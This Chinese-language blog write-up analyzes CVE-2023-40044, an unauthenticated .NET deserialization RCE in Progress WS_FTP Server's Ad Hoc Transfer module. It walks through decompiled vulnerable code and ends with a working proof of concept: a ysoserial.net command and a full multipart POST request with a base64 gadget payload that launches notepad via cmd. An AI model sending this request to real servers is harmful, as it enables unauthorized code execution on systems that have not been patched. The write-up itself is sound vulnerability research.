快轉到主要內容
  1. Posts/

Progress WS_FTP Server RCE (CVE-2023-40044)

·1337 字·3 分鐘· loading · loading ·
WS_FTP CVE RCE
目錄

📖 漏洞簡介
#

在 WS_FTP Server 8.7.4 和 8.8.2 之前的版本,未經身分驗證的攻擊者可以在 Ad Hoc Transfer 模組中利用 .NET 反序列化漏洞,在 WS_FTP Server 系統上進行遠端命令執行。值得注意的是,WS_FTP Server 的 Ad Hoc Transfer 模組是標準安裝的一部分,大部分的 WS_FTP Server 都會受影響。Progress Software 的建議是所有客戶都要升級到最新的軟體版本,或者刪除/停用 Ad Hoc Transfer 模組。

此漏洞是由 Assetnote 所發現,未經身分驗證的攻擊者很容易就能在目標系統上實現 RCE。

Rapid7 觀察到此漏洞在野外已經被利用了。而且,CISA 也根據主動利用的證據,將暴露情況加入到其已知被利用的漏洞目錄 (Known Exploited Vulnerabilities Catalog) 之中。

此漏洞的 CVE 編號已被指定為 CVE-2023-40044,其 CVSSv3 評分至少為 8.8,嚴重度高。

受影響的產品
#

如果啟用了 Ad Hoc Transfer 模組,則以下軟體版本都會受到影響:

  • 2022.0.1 (8.8.1)
  • 2022.0 (8.8.0)
  • 2020.0.0 (8.7.0)
  • 2020.0.1 (8.7.1)
  • 2020.0.2 (8.7.2)
  • 2020.0.3 (8.7.3)

🕵️ 分析
#

FormStream Class
#

這個漏洞的根本原因是不安全的反序列化。存在漏洞的 DeserializeProcessor() 方法嘗試反序列化使用者可控,且沒有經過檢查或確認的資料。

internal IFileProcessor DeserializeProcessor(string input)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    MemoryStream serializationStream1 = new MemoryStream(Convert.FromBase64String(input));
    SettingsStorageObject settingsStorageObject = (SettingsStorageObject) binaryFormatter.Deserialize((Stream) serializationStream1); // <-- 不安全的反序列化

嘗試往前追會發現 DeserializeProcessor() 方法被 CheckForActionFields() 方法所呼叫。而 CheckForActionFields() 方法會嘗試提取 multipart 欄位中 ::AHT_DEFAULT_UPLOAD_PARAMETER:: 之後的字串,然後將該字串交給 DeserializeProcessor() 方法進行反序列化。

此外, ::AHT_UPLOAD_PARAMETER:: 的存在似乎也會觸發相同的不安全反序列化過程。

private void CheckForActionFields()
{
    byte[] array = this._currentField.ToArray();
    string result1 = string.Empty;
    int boundaryPos = this.IndexOf(array, this.BOUNDARY);
    if (!this.TryParseActionField(this.ID_TAG, array, out result1, boundaryPos))
    {
    string result2 = string.Empty;
    if (this.TryParseActionField(this.DEFAULT_PARAMS_TAG, array, out result2, boundaryPos))  // <-- ::AHT_DEFAULT_UPLOAD_PARAMETER::
    {
        this._defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.DEFAULT_PARAMS_TAG.Length));  // <-- 不安全的反序列化
        this._processor = this._defaultProcessor;
        this._currentField = new MemoryStream();
    }
    else if (this.TryParseActionField(this.PARAMS_TAG, array, out result2, boundaryPos))  // <-- ::AHT_UPLOAD_PARAMETER::
    {
        this._processor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.PARAMS_TAG.Length)); // <-- 不安全的反序列化
        this._currentField = new MemoryStream();
    }

要到達 CheckForActionFields() 方法,需要依序呼叫 ProcessField()Write() 方法。

private FormStream.SectionResult ProcessField(byte[] bytes, int pos)
{
    int nextOffset1 = -1;
    if (pos < bytes.Length - 1)
    {
    nextOffset1 = this.IndexOf(bytes, this.BOUNDARY, pos + 1);
    if (nextOffset1 != -1 && this._inFile)
        nextOffset1 -= 2;
    }
    if (nextOffset1 >= 0)
    {
    this.WriteBytes(this._inFile, bytes, pos, nextOffset1 - pos);
    if (!this._inFile)
        this.CheckForActionFields(); // <-- 存在漏洞的方法

Write() 方法會遍歷 HTTP form-data,搜尋邊界字串並解析每個欄位的標頭。 要觸發 ProcessField() 方法,必須滿足以下條件:

  1. this._inField 必須為 true
  2. multipart 欄位的標頭不能包含 filename 以及 Content-Disposition
  3. this._inFile 必須是 false
public override void Write(byte[] bytes, int offset, int count)
{
    int num1 = 0;
    byte[] numArray;
    if (this._buffer != null)
    {
    numArray = new byte[this._buffer.Length + count];
    Buffer.BlockCopy((Array) this._buffer, 0, (Array) numArray, 0, this._buffer.Length);
    Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, this._buffer.Length, count);
    }
    else
    {
    numArray = new byte[count];
    Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, 0, count);
    }
    this._position += (long) count;
    int srcOffset;
    int num2;
    FormStream.SectionResult sectionResult;
    do
    {
    if (this._headerNeeded)
    {
        srcOffset = num1;
        num2 = this.IndexOf(numArray, this.BOUNDARY, num1);
        if (num2 >= 0)
        {
        if (this.IndexOf(numArray, this.EOF, num2) != num2)
        {
            int num3 = this.IndexOf(numArray, this.EOH, num2);
            if (num3 >= 0)
            {
            this._inField = true; // <-- _inField = true
            this._headerNeeded = false;
            Dictionary<string, string> header = this.ParseHeader(numArray, num2);
            if (header != null)
            {
                if (header.ContainsKey("filename") && header.ContainsKey("Content-Disposition")) // <-- 必須是 false
                {
                string fileName = header["filename"].Trim('"').Trim();
                if (!string.IsNullOrEmpty(fileName))
                {
                    try
                    {
                    this._fileName = header["filename"].Trim('"');
                    this._inFile = true;
                    string contentType = !header.ContainsKey("Content-Type") ? "application/octet-stream" : header["Content-Type"];
                    this.fileProccessingEnded = false;
                    object identifier = this._processor.StartNewFile(fileName, contentType, header, this._previousFields);
                    this.OnFileStarted(fileName, identifier);
                    }
                    catch (Exception ex)
                    {
                    this._fileError = true;
                    this.OnError(ex);
                    }
                }
                }
                else
                {
                this._inFile = false; // <-- _inFile = false
                this._currentField = new MemoryStream();
                this._currentFieldName = header["name"];
                }
                num1 = num3 + 4;
            }
            else
                goto label_9;
            }
            else
            goto label_17;
        }
        else
            goto label_6;
        }
        else
        goto label_18;
    }
    if (this._inField)
    {
        this._buffer = (byte[]) null;
        sectionResult = this.ProcessField(numArray, num1); // <-- 存在漏洞的方法

UploadModule Class
#

UploadModule 確定傳入的 HTTP 請求是否是 multipart 檔案上傳。如果是 multipart 檔案上傳,Context_AcquireRequestState() 方法將會建立一個FormStream物件,該物件會呼叫 Write() 方法來處理此請求。

public class UploadModule : IHttpModule
{
    private void Context_AcquireRequestState(object sender, EventArgs e)
    {
        // ...
        string boundary = "--" + knownRequestHeader.Substring(knownRequestHeader.IndexOf("boundary=") + "boundary=".Length);
        using (FormStream formStream = new FormStream(this.GetProcessor(), boundary, app.Request.ContentEncoding))
        {
            formStream.FileCompleted += new FileEventHandler(this.fs_FileCompleted);
            formStream.FileCompletedError += new FileErrorEventHandler(this.fs_FileCompletedError);
            formStream.FileStarted += new FileEventHandler(this.fs_FileStarted);
            formStream.Error += new ErrorEventHandler(this.OnTransactionAborted);
            this._context = app.Context;
            long bytes = 0;
            if (workerRequest.GetPreloadedEntityBodyLength() > 0)
            {
            byte[] preloadedEntityBody = workerRequest.GetPreloadedEntityBody();
            formStream.Write(preloadedEntityBody, 0, preloadedEntityBody.Length); // <-- 存在漏洞的方法

在 WS_FTP Ad Hoc Transfer 應用程式的 web.config 中,MyFileUpload.UploadModule 模組會被載入到 IIS HTTP 模組中,並處理傳入的檔案上傳請求。因此,發送至 Ad Hoc Transfer 模組中以 /AHT/ 為開頭的 URI 的 multipart HTTP 請求都可能觸發漏洞。

<httpModules>
    <add name="extend_session_module" type="AHT.Main.ExtendUserSessionModule" />
    <add name="upload_module" type="MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0" />
</httpModules>

PoC
#

利用 ysoserial.net 來產生 .NET 反序列化酬載:

.\ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "notepad.exe" -o base64

HTTP multipart POST 請求:

POST /AHT/AhtApiService.asmx/AuthUser HTTP/1.1
Host: victim.com
User-Agent: CVE-2023-40044
Accept: */*
Content-Length: 1303
Content-Type: multipart/form-data; boundary=boundary

--boundary
name: PoC

::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=
--boundary–

📌 參考資料
#